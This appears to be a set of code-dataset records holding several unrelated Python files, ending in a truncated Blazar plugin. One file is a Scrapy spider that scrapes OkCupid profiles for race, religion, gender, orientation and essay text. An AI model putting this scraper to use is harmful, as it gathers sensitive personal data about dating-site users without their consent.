"TA_functions.combine2arrays", "line_number": 711, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 712, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 713, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 714, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 714, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 715, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 715, "usage_type": "call"}, {"api_name": "TA_functions.get_stats", "line_number": 722, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 734, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 734, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 737, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 737, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 738, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 738, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 739, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 739, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 767, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 767, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 768, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 768, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hlines", "line_number": 769, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 769, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.vlines", "line_number": 770, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 770, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 772, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 772, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 773, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 773, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 774, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 774, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 775, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 775, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 776, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 776, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 777, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 777, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 788, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 788, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 794, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 794, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 795, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 795, "usage_type": "name"}, {"api_name": "TA_functions.printTESTresults", "line_number": 834, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 947, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 950, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 954, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1019, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1019, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 1060, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 1061, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 1063, "usage_type": "call"}, {"api_name": "v2v3plots.make_plot", "line_number": 1066, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1074, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1074, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 1079, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 1080, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 1086, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 1087, "usage_type": "call"}, {"api_name": "v2v3plots.make_plot", "line_number": 1094, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1224, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 1237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1237, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 1347, "usage_type": "call"}]} +{"seq_id": "424727106", "text": "from scrapy.spiders import Spider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.selector import Selector\nfrom scrapy.http import HtmlResponse\nfrom ok_cupid_crawler.items import OkCupidCrawlerItem\nfrom scrapy.http import Request\nfrom scrapy.utils.serialize import ScrapyJSONEncoder\nimport re\nfrom okCrawlerTools import extract_start_urls\n\n#\n#\n#
  • \n#
  • \n#
  • \n#
    \n#
    \n#
    \n#
    \n#
    \n#
    \n#dd id=\"ajax_smoking\"\n#
    \n#
    \n#
    \n#
    \n#
    \n#
    \n#
    \n\nclass okcSpider(Spider):\n # Description\n name = \"okCrawler\"\n allowed_domains = \"www.okcupid.com\"\n urls = extract_start_urls(\"okcLinks.txt\")\n #start_urls = [\"http://www.okcupid.com/profile/jab1980\", \"http://www.okcupid.com/profile/20neight10\"]\n start_urls = urls\n _encoder = ScrapyJSONEncoder()\n\n def parse(self, response):\n #hxs = HtmlXPathSelector(response)\n #titles = hxs.select(STUUFFFS).extract()\n sel = Selector(response)\n titles = sel.xpath('//script').extract()[0]\n \n item = OkCupidCrawlerItem()\n item[\"usr_loc\"] = response.xpath('.//title/text()').extract() \n item[\"gender\"] = response.xpath('.//span[contains(@class,\"ajax_gender\")]/text()').extract()\n item[\"race\"] = response.xpath('.//dd[contains(@id,\"ajax_ethnicities\")]/text()').extract()\n item[\"gentation\"] = response.xpath('.//li[contains(@id,\"ajax_gentation\")]/text()').extract() \n item[\"looking_for\"] = response.xpath('.//li[contains(@id,\"ajax_lookingfor\")]/text()').extract() \n item[\"smokes\"] = response.xpath('.//dd[contains(@id,\"ajax_smoking\")]/text()').extract()\n item[\"drinks\"] = response.xpath('.//dd[contains(@id,\"ajax_drinking\")]/text()').extract()\n item[\"offspring\"] = response.xpath('.//dd[contains(@id,\"ajax_offspring\")]/text()').extract() \n item[\"education\"] = response.xpath('.//dd[contains(@id,\"ajax_education\")]/text()').extract() \n item[\"religion\"] = response.xpath('.//dd[contains(@id,\"ajax_religion\")]/text()').extract() \n item[\"language\"] = response.xpath('.//dd[contains(@id,\"ajax_speaks\")]/text()').extract() \n item[\"text\"] = response.xpath('.//div[contains(@class, \"essay\")]/text()').extract()\n item[\"text\"] = [(itm.replace('\\r', ' ').replace('\\n', ' ')) for itm in item[\"text\"]] \n \n yield item", "sub_path": "ok_cupid_crawler/ok_cupid_crawler/spiders/okcSpider.py", "file_name": "okcSpider.py", "file_ext": "py", "file_size_in_byte": 2706, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scrapy.spiders.Spider", "line_number": 31, "usage_type": "name"}, {"api_name": "okCrawlerTools.extract_start_urls", "line_number": 35, "usage_type": "call"}, {"api_name": "scrapy.utils.serialize.ScrapyJSONEncoder", "line_number": 38, "usage_type": "call"}, {"api_name": "scrapy.selector.Selector", "line_number": 43, "usage_type": "call"}, {"api_name": "ok_cupid_crawler.items.OkCupidCrawlerItem", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "433160952", "text": "import re\nimport json\nimport time\nimport logging\nimport socket\nimport asyncio\nimport subprocess\nfrom subprocess import PIPE\nfrom multiprocessing import Manager, Process\n\n\nimport websockets\nfrom websockets.exceptions import ConnectionClosed\n\n\nclass Minion:\n def __init__(self, rest=5):\n self.gru = None\n self.name = ''\n self.rest_time = rest\n self.hostname = socket.gethostname()\n # self.storage = {}\n self.storage = Manager().dict()\n\n def _hi_gru(self):\n # Send some initial info to Gru\n self._get_sys_data()\n return json.dumps(self.storage.copy())\n\n async def _process_gru_msg(self, msg):\n matched = re.match(r'^\\[(.+?)\\](.+)', msg)\n if matched:\n print(matched)\n print(msg)\n order, content = matched.groups()\n\n if order == 'name':\n self.name = content\n else:\n await self.gru.send(\"Maybe it's not an order: {}\".format(msg))\n # logging.info(\"Maybe it's not an order: {}\".format(msg))\n\n def _get_sys_data(self):\n commands = {\n 'cpu_num': 'grep processor /proc/cpuinfo | wc -l',\n 'cpu_mod': \"grep 'model name' /proc/cpuinfo | uniq | awk -F':' '{print $2}'\",\n 'mem_size': \"awk '/MemTotal/ {print $2}' /proc/meminfo\",\n 'root_size': \"df -Th | grep -E '/$'\",\n 'uname': 'uname -a'\n }\n\n jobs = []\n for dtype, cmd in commands.items():\n one_job = Process(target=self._execute, args=(dtype, cmd))\n jobs.append(one_job)\n\n for job in jobs:\n job.start()\n job.join() # join to wait sys data\n\n def _execute(self, datatype, cmd: str):\n pipe = subprocess.run(cmd, stdout=PIPE, stderr=PIPE, shell=True)\n std_out = pipe.stdout.decode().strip()\n # std_err = pipe.stderr.decode().strip()\n # print(\"stdout: {}\".format(std_out))\n # print(\"stderr: {}\".format(std_err))\n\n self.storage[datatype] = std_out\n\n async def _find_gru(self, uri):\n try:\n gru = await websockets.connect(uri)\n return gru\n except ConnectionRefusedError as ex:\n logging.info(\"Cannot connect to Gru: {}\".format(self._find_gru.__name__))\n logging.info(str(ex))\n return None\n\n async def work(self, uri):\n # Loop for reconnecting Gru\n while True:\n self.gru = await self._find_gru(uri)\n\n # Cannot connect to Gru\n if not self.gru:\n logging.info('Rest {} seconds, and retry finding Gru: {}'.format(self.rest_time, self.work.__name__))\n time.sleep(self.rest_time)\n continue\n\n await self.gru.send(self._hi_gru())\n\n try:\n # Loop for communicating to Gru\n while True:\n gru_msg = await self.gru.recv()\n logging.info(\"Gru said: {}\".format(gru_msg))\n await self._process_gru_msg(gru_msg)\n\n except ConnectionClosed as ex:\n logging.error('Gru died T T')\n logging.info(str(ex))\n logging.info('Rest {} seconds, and retry finding Gru: {}'.format(self.rest_time, self.work.__name__))\n\n time.sleep(self.rest_time)\n continue\n\n\nif __name__ == '__main__':\n logging.basicConfig(format='[%(asctime)s][%(levelname)s]: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO)\n logging.info(\"Finding Gru ...\")\n minion = Minion()\n asyncio.get_event_loop().run_until_complete(minion.work('ws://localhost:8000/ws'))\n", "sub_path": "minion.py", "file_name": "minion.py", "file_ext": "py", "file_size_in_byte": 3714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "socket.gethostname", "line_number": 21, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 23, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}, {"api_name": "re.match", "line_number": 31, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 54, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 62, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 62, "usage_type": "name"}, {"api_name": "websockets.connect", "line_number": 72, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 75, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 96, "usage_type": "call"}, {"api_name": "websockets.exceptions.ConnectionClosed", "line_number": 99, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 100, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 101, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 102, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 111, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 112, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "493499593", "text": "import numpy as np\nfrom keras import applications\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import to_categorical\nfrom keras import optimizers\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dropout, Flatten, Dense\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import LabelBinarizer\nimport pickle\nimport matplotlib.pyplot as plt\n\n\nimg_width, img_height = 100, 100\ntop_model_weights_path = 'fc_model.h5'\nmodel_path = 'cnn_model.h5'\nepochs = 100 #100\nbatch_size = 32 #32\nnum_classes = 5\nsplit_num = 5 #5\n\n\ndef cnn_train_model(train_data,train_label,class_weights):\n # construct vgg-16 model without fully connected layer\n base_model = applications.VGG16(weights='imagenet', include_top=False, input_shape=(img_height, img_width, 3))\n print('Model loaded.',len(base_model.layers))\n\n # construct fully connected layer\n top_model = Sequential()\n top_model.add(Flatten(input_shape=base_model.output_shape[1:]))\n top_model.add(Dense(256, activation='relu'))\n top_model.add(Dropout(0.5))\n top_model.add(Dense(num_classes, activation='softmax'))\n print('top-model added')\n\n\n #top_model.load_weights(top_model_weights_path)\n #print('top model weight load')\n\n # concatenate the the non-top vgg-16 model and fully connected layer\n model = Model(inputs=base_model.input, outputs=top_model(base_model.output))\n\n # frozen the fist 14 layers of vgg-16 model\n for layer in model.layers[:15]:\n layer.trainable = False\n\n # set loss function and optimizer\n model.compile(loss='categorical_crossentropy',\n optimizer=optimizers.SGD(lr=1e-4, momentum=0.9),\n metrics=['accuracy'])\n\n\n #checkpoint = ModelCheckpoint(best_weight_path, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n #callbacks_list = [checkpoint]\n\n #set k-fold cross validation\n kfold = StratifiedKFold(n_splits=split_num, shuffle=True, random_state=0)\n val_acc_scores = [] #to record the history of val_acc\n train_loss_scores = [] #to record the hostory of train_loss\n train_acc_scores = [] #to record the history of train_acc\n lb = LabelBinarizer()\n\n for train,validation in kfold.split(train_data,train_label):\n\n #transform string labels into binarizer\n train_label_bin = lb.fit_transform(train_label)\n\n\n # train dataset generator\n train_datagen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n fill_mode=\"nearest\",\n )\n\n train_generator = train_datagen.flow(\n train_data[train],\n train_label_bin[train],\n batch_size=batch_size,\n )\n\n # validation dataset generator\n validation_datagen = ImageDataGenerator(rescale=1. / 255)\n\n validation_generator = validation_datagen.flow(\n train_data[validation],\n train_label_bin[validation],\n batch_size=batch_size,\n )\n\n # train the model\n h = model.fit_generator(\n train_generator,\n samples_per_epoch=len(train_data[train]) // batch_size,\n epochs=epochs,\n validation_data=validation_generator,\n validation_steps=len(train_data[validation] // batch_size),\n class_weight=class_weights,\n )\n\n #predict the model with validation dataset\n vc_scores = model.evaluate_generator(validation_generator,validation_generator.__sizeof__())\n\n print(\"val_%s: %.2f%%\" % (model.metrics_names[1],vc_scores[1]*100))\n\n #add history to corresponding lists\n train_loss_scores.append(h.history[\"loss\"])\n train_acc_scores.append(h.history[\"acc\"])\n val_acc_scores.append(h.history[\"val_acc\"])\n\n print(\"val_acc = %.2f%% (+/- %.2f%%)\" % (np.mean(val_acc_scores), np.std(val_acc_scores)))\n train_loss_scores = np.array(train_loss_scores).ravel()\n train_acc_scores = np.array(train_acc_scores).ravel()\n val_acc_scores = np.array(val_acc_scores).ravel()\n\n # save the model to disk\n print(\"serializing neural network...\")\n model.save(model_path)\n\n # save the label binarizer to disk\n print(\"serializing label binarizer...\")\n f = open(\"lb.pickle\", \"wb\")\n f.write(pickle.dumps(lb))\n f.close()\n\n\n #plot the training loss and validation accuracy\n plt.style.use(\"ggplot\")\n x = np.arange(0, split_num * epochs)\n plt.figure()\n plt.subplot(1,2,1)\n plt.plot(x, train_loss_scores, label=\"train loss\")\n plt.plot(x, train_acc_scores, label=\"train accuracy\")\n plt.title(\"Training Loss and Accuracy\")\n plt.xlabel(\"Epoch * K-fold N_split\")\n plt.ylabel(\"Loss/Accuracy\")\n plt.legend(loc = \"upper left\")\n plt.subplot(1,2,2)\n plt.plot(x, val_acc_scores)\n plt.title(\"Validation Accuracy\")\n plt.xlabel(\"Epoch * K-fold N_split\")\n plt.ylabel(\"Validation Accuracy\")\n plt.savefig(\"acc_loss_plot\")\n\n", "sub_path": "TrainCNNModel.py", "file_name": "TrainCNNModel.py", "file_ext": "py", "file_size_in_byte": 5679, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "keras.applications.VGG16", "line_number": 26, "usage_type": "call"}, {"api_name": "keras.applications", "line_number": 26, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.optimizers.SGD", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 50, "usage_type": "name"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelBinarizer", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 131, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}]} +{"seq_id": "186147986", "text": "# -*- coding: utf-8 -*-\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nimport time\r\n\r\nstart_time = time.time()\r\n\r\n# Import Data\r\ntrain = pd.read_csv('train.csv',header=0)\r\nweather = pd.read_csv('weather.csv',header=0)\r\nkey = pd.read_csv('key.csv',header=0)\r\ntest = pd.read_csv('test.csv',header=0)\r\nweather_idx = np.load('weather_idx.npy')\r\nsampleSub = pd.read_csv('sampleSubmission.csv',header=0)\r\nweather_idx_test = np.load('weather_idx_test.npy')\r\n\r\n# Enumerate Training Dates\r\ntrain['year'] = [int(x[0:4]) for x in list(train['date'])]\r\nstart_year = np.min(train['year'])\r\ntrain['year'] = train['year']-start_year\r\ntrain['month'] = [int(x[5:7]) for x in list(train['date'])]\r\ntrain['day'] = [int(x[8:]) for x in list(train['date'])]\r\ntrain = train.drop(['date'],axis=1)\r\n\r\n# Get Weekday Values\r\ntrain['month_days'] = 0\r\ntrain['month_days'][train['month']==2] = 31\r\ntrain['month_days'][train['month']==3] = 28+31\r\ntrain['month_days'][train['month']==4] = 31+28+31\r\ntrain['month_days'][train['month']==5] = 30+31+28+31\r\ntrain['month_days'][train['month']==6] = 31+30+31+28+31\r\ntrain['month_days'][train['month']==7] = 30+31+30+31+28+31\r\ntrain['month_days'][train['month']==8] = 31+30+31+30+31+28+31\r\ntrain['month_days'][train['month']==9] = 31+31+30+31+30+31+28+31\r\ntrain['month_days'][train['month']==10] = 30+31+31+30+31+30+31+28+31\r\ntrain['month_days'][train['month']==11] = 31+30+31+31+30+31+30+31+28+31\r\ntrain['month_days'][train['month']==12] = 30+31+30+31+31+30+31+30+31+28+31\r\ntrain['month_days'][(train['year']==0)&(train['month']!=1)&(train['month']!=2)] = 1 + train['month_days'][train['year']==0]\r\ntrain['year_days']=0\r\ntrain['year_days'][train['year']==1]=366\r\ntrain['year_days'][train['year']==2]=366+365\r\ntrain['total_days'] = 0\r\ntrain['total_days'] = train[['day','month_days','year_days']].sum(axis=1)\r\ntrain['weekday'] = 0\r\ntrain['weekday'] = train['total_days'].mod(7)\r\ntrain = train.drop(['month_days','year_days','total_days'],axis=1)\r\n\r\n# Enumerate Weather Dates\r\nweather['year'] = [int(x[0:4]) for x in list(weather['date'])]\r\nweather['year'] = weather['year']-start_year\r\nweather['month'] = [int(x[5:7]) for x in list(weather['date'])]\r\nweather['day'] = [int(x[8:]) for x in list(weather['date'])]\r\nweather = weather.drop(['date'],axis=1)\r\n\r\n# Fill col_list with all unique codesum values from codesum strings\r\ncol_list = []\r\nfor i in range(0,len(weather)):\r\n temp = weather['codesum'][i].split()\r\n num_codes = len(temp)\r\n for i2 in range(0,len(temp)):\r\n if temp[i2] in weather.columns:\r\n weather.ix[i,temp[i2]] = 1\r\n else:\r\n weather[temp[i2]] = 0\r\n weather.ix[i,temp[i2]] = 1\r\n col_list.append(temp[i2])\r\n\r\n# Add codesum Values\r\nfor i in range(0,len(col_list)):\r\n train[col_list[i]] = 0\r\n train[col_list[i]] = weather.ix[weather_idx,col_list[i]].values\r\n\r\n# Save Important Values\r\nnum_stores = len(train['store_nbr'].unique())\r\nnum_items = len(train['item_nbr'].unique())\r\n\r\n# Create Training Datasets\r\ntrain_in_all = train.drop(['units'],axis=1).copy()\r\ntrain_out_all = train['units']\r\n\r\n# Create Training & Validation Datasets\r\nnum_train = int(round(.9*len(train_in_all)))\r\nnum_val = int(len(train_in_all)-num_train)\r\ntrain_ind = np.sort(np.random.choice(train_in_all.index,size=num_train,replace=False))\r\nbool1 = np.zeros((len(train_in_all),1),dtype=bool)\r\nbool1[train_ind] = True\r\nbool2 = ~bool1\r\nvalid_ind = train_in_all[bool2].index\r\ntrain_in = train_in_all[bool1]\r\ntrain_out = train_out_all[train_ind]\r\nvalid_in = train_in_all[bool2]\r\nvalid_out = train_out_all[valid_ind]\r\n\r\n# Train RF\r\nrf = RandomForestRegressor(n_estimators = 50, n_jobs=-1, min_samples_split = 11, min_samples_leaf = 8)\r\nrf = rf.fit(train_in,train_out)\r\n\r\n# Validate RF!!\r\nvalidation = rf.predict(valid_in)\r\nvalid_score = np.sqrt(np.sum(np.square(np.log(validation+1)-np.log(valid_out+1)))/len(validation))\r\n \r\nprint('This program had a validation score of ' + str(valid_score) + '.')\r\nprint('This program took ' + str((time.time()-start_time)/60) + ' minutes to run.')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "sub_path": "walmartAttempt.py", "file_name": "walmartAttempt.py", "file_ext": "py", "file_size_in_byte": 4233, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 103, "usage_type": "call"}, {"api_name": "time.time", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "88989066", "text": "# -*- coding: utf-8 -*-\n#\n# Author: Pierre Riteau \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom collections import defaultdict\nimport datetime\n\nfrom oslo_config import cfg\nfrom oslo_utils import strutils\nfrom stevedore import named\n\nfrom blazar.db import api as db_api\nfrom blazar.db import exceptions as db_ex\nfrom blazar.db import utils as db_utils\nfrom blazar.manager import exceptions as manager_ex\nfrom blazar.plugins import base\nfrom blazar.plugins import devices as plugin\nfrom blazar.plugins import monitor\nfrom blazar import status\nfrom blazar.utils import plugins as plugins_utils\nfrom oslo_log import log as logging\nfrom random import shuffle\n\n\nplugin_opts = [\n cfg.StrOpt('before_end',\n default='',\n help='Actions which we will be taken before the end of '\n 'the lease'),\n cfg.ListOpt('plugins',\n default=['zun.plugin'],\n help='All plugins to use (one for every device driver to '\n 'support.)'),\n cfg.IntOpt('cleaning_time',\n default=0,\n min=0,\n help='The minimum interval [minutes] between the end of a '\n 'lease and the start of the next lease for the same '\n 'device. This interval is used for cleanup.'),\n cfg.StrOpt('default_resource_properties',\n default='',\n help='Default resource_properties when creating a lease of '\n 'this type.'),\n cfg.BoolOpt('display_default_resource_properties',\n default=True,\n help='Display default resource_properties if allocation fails '\n 'due to not enough resources'),\n cfg.BoolOpt('retry_allocation_without_defaults',\n default=True,\n help='Whether an allocation should be retried on failure '\n 'without the default properties'),\n]\n\nplugin_opts.extend(monitor.monitor_opts)\n\nCONF = cfg.CONF\nCONF.register_opts(plugin_opts, group=plugin.RESOURCE_TYPE)\nLOG = logging.getLogger(__name__)\n\nbefore_end_options = ['', 'default', 'email']\n\nQUERY_TYPE_ALLOCATION = 'allocation'\n\nMONITOR_ARGS = {\"resource_type\": plugin.RESOURCE_TYPE}\n\n\ndef _get_plugins():\n \"\"\"Return dict of resource-plugin class pairs.\"\"\"\n plugins = {}\n\n extension_manager = named.NamedExtensionManager(\n namespace='blazar.device.driver.plugins',\n names=CONF.device.plugins,\n invoke_on_load=False\n )\n\n for ext in extension_manager.extensions:\n try:\n plugin_obj = ext.plugin()\n except Exception as e:\n LOG.warning(\"Could not load {0} plugin \"\n \"for resource type {1} '{2}'\".format(\n ext.name, ext.plugin.device_driver, e))\n else:\n if plugin_obj.device_driver in plugins:\n msg = (\"You have provided several plugins for \"\n \"one device 